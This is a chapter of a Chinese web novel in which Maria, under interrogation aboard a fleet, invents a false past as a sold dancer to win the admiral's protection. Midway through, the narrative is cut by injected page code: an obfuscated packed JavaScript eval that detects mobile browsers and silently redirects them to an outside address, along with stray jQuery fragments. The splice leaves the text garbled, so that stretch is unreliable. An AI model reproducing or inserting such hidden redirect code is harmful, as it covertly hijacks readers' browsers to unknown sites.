异乡人列克问话时显得很严肃，表情带着审视与怀疑。
“你的名字？”
“玛利亚。”
“年龄？”
“……十六。”玛利亚迟疑了一瞬间，报出了编造的年龄。
既然缇洛斯和赫尔南达都认为我是“孩子”，那么就恕我并不会告知其实我已过而立之年。
然而就连赫尔南达都没有问她的迟疑是怎么回事。缇洛斯更是松了口气，就像那种期待外国人把词念对一样。
“你不会说西班牙语？”
“不会。”
“你从哪里来？”
“东洋。”
“‘x子’。”猝不及防的西班牙语脏话从列克的嘴里说出来。
是骂人的话，是骂人的语气，虽然很轻微，但还是能分辨出里面微妙的感觉。
该站起来骂回去，还是假装什么也没分析出来呢？
她感觉到赫尔南达正盯着她看，那双近乎于紫色的眼睛似乎能把她看透。她马上明白，对方在这里等着她露出破绽。
立刻，她做出了决定，露出困惑而受惊吓的表情，问：“什么？我没听懂？”她看向缇洛斯，后者则小声而温柔地让她放宽心。
“没什么，你不用懂。”
列克见了她的反应，表情反而柔和了下来，摆了摆手：“没什么，我想她应该不是‘总督阁下’的人，他的人不可能一点不懂西班牙语。”
玛利亚扫过赫尔南达，这个人现在低下头，不再审视自己。
接下来，主审官列克的表情显得轻松了许多，连眉头上深刻的川字纹都淡化了一些。
“你如何学会英语？”
“我在船上有人教我。”
“为什么教你？”
“为了把我送给英国的达官贵人。”
“啊？？？”
在场听得懂英语的人都面面相觑，互相询问：“什么意思？”
列克连英语也听不懂，左右问：“什么？她说什么？”
缇洛斯咳嗽两声，示意大家安静，问玛利亚：“你能再解释一下吗？”
玛利亚娓娓讲出编好的故事：“我是‘礼物’。在我的家乡，我从小接受跳舞的训练，等长大之后可以送给达官显贵，或者卖给外国的商人。我被辗转卖到亚历山德拉，又被来自东方的女海盗买下来，准备作为礼物送给英国的老爷，来打通一些人脉。”
缇洛斯看起来信仰崩塌：“怎么……怎么对你做这样的事……！”
赫尔南达露出恶质的笑容：“我就跟你说过，‘红虎鲸’是个坏海盗！”
缇洛斯嘴硬：“……她或许有不得已的苦衷！”
玛利亚：正是如此。
因着这谎话，一双温暖的手搭在了她肩膀上。她并不习惯这样的触碰，由于缺少同性玩伴，她和谁都没有什么身体接触，这种触感非常陌生，又带着一种无法形容的跃动，让人难以招架，因而想要远离。
“玛利亚，我不会再把你卖掉的！”
“……谢谢你，请不要丢下我。”
想要留在这个舰队里，取信于面前这两个家伙胜算不算太大，重点必定是在查卡提督身上。她暗中咬了咬牙，以自己的手握住了肩上的那只手，用此生最柔弱的眼神看向缇洛斯，用此生最柔弱的声音说：“查卡提督，请让我留下。我……我很害怕再回到码头流浪，我知道我活不下来。”
近距离看玛利亚的脸有很不一样的风味，一双眼睛像是会说话一样，和她神秘冷冽的气质完全不同的是，她的声音是如此温柔而隐忍。
“玛利亚，我会保护你的。你饿了吧？我让厨房弄点吃的给你。你有什么不吃的吗？”
“肃静，我们在审问呢。”赫尔南达敲了敲桌子，让缇洛斯坐下。
玛利亚快速而小声地说：“谢谢，我不挑食。”
提督有不听坐的权限，她这就出去了。
不过有食物的同时并不能拥有庇护，缇洛斯出去的一瞬间，屋子里的温度一瞬间就降低了。她面对着强势的赫尔南达和严肃的列克，犹如一只小白兔对着两只大灰狼。
赫尔南达阴森森地开口：“说实话吧，这样我们就饶你一命，下一个港口把你放下去，不会追究你的责任。”
玛利亚以不变应万变：“我不明白你的意思。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278777|198324||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“你是个聪明人，我看得出来。”
“真的不明白，很抱歉。”
“不要浪费彼此的时间。”
缇洛斯这时候回来了，开门的时候一股暖流似乎也随着她的到来而到来。
她大步走到玛利亚身边，两只手像之前一样搭在她肩膀上，对着自己的同伙说：“你欺负她了？”
赫尔南达当然欺负了，不过不会告诉缇洛斯，“什么？怎么可能？没有的事。”
列克托着下巴：“也不能完全这么说……”
“玛利亚，赫尔南达欺负你了吗？我在外面都听到了。”
“快别这么说，”她诚惶诚恐地站起来，“只是……只是赫尔南达小姐说话我不怎么听得懂，如果有误会，也是因为这个产生的，请不要怪她。”
“哈，赫尔南达小姐。”背后有人低声重复。这种奇怪的语气被玛利亚捕捉到了，怎么说错了吗？赫尔南达是女名，她长得也很有女人味，打扮更是如此。
不过，缇洛斯并未纠缠此事，只是顺着她的话继续往下说：
“哼，我就知道。好吧，你们还有什么要问的？”
“该我问了，咳咳。”赫尔南达扶了扶头上的花，毒蛇一般阴鸷的眼睛直直盯着玛利亚，“你是‘红虎鲸’——”
玛利亚的心重重地跳了一下，脸上不可避免地露出了一丝破绽，但也是在这个瞬间，她决定顺着这个破绽演下去。
她装作慌忙摇手，“你在说什么呀……”
“——船上的人吧？”赫尔南达双手抱胸，“要不你怎么活下来的？舞女可不会游泳吧？”
可恶的大喘气，怪不得在场的其他人都没有反应，原来他们都知道一句话没说完，只有她由于不熟悉这种语言而听了一半，但现在不能纠结这些，玛利亚诚恳地避开第一个问题，回答最后一个问题：“可是我会啊，我在海边长大。”
这是实话，她祖籍杭州，家中祖辈常年出海讨生活，是能在钱塘潮头擎旗的弄潮儿，倒不至于落水就死。
赫尔南达盯着她，试图找出一丝伪装。
“那你怎么活下来的？说说当时的情况。”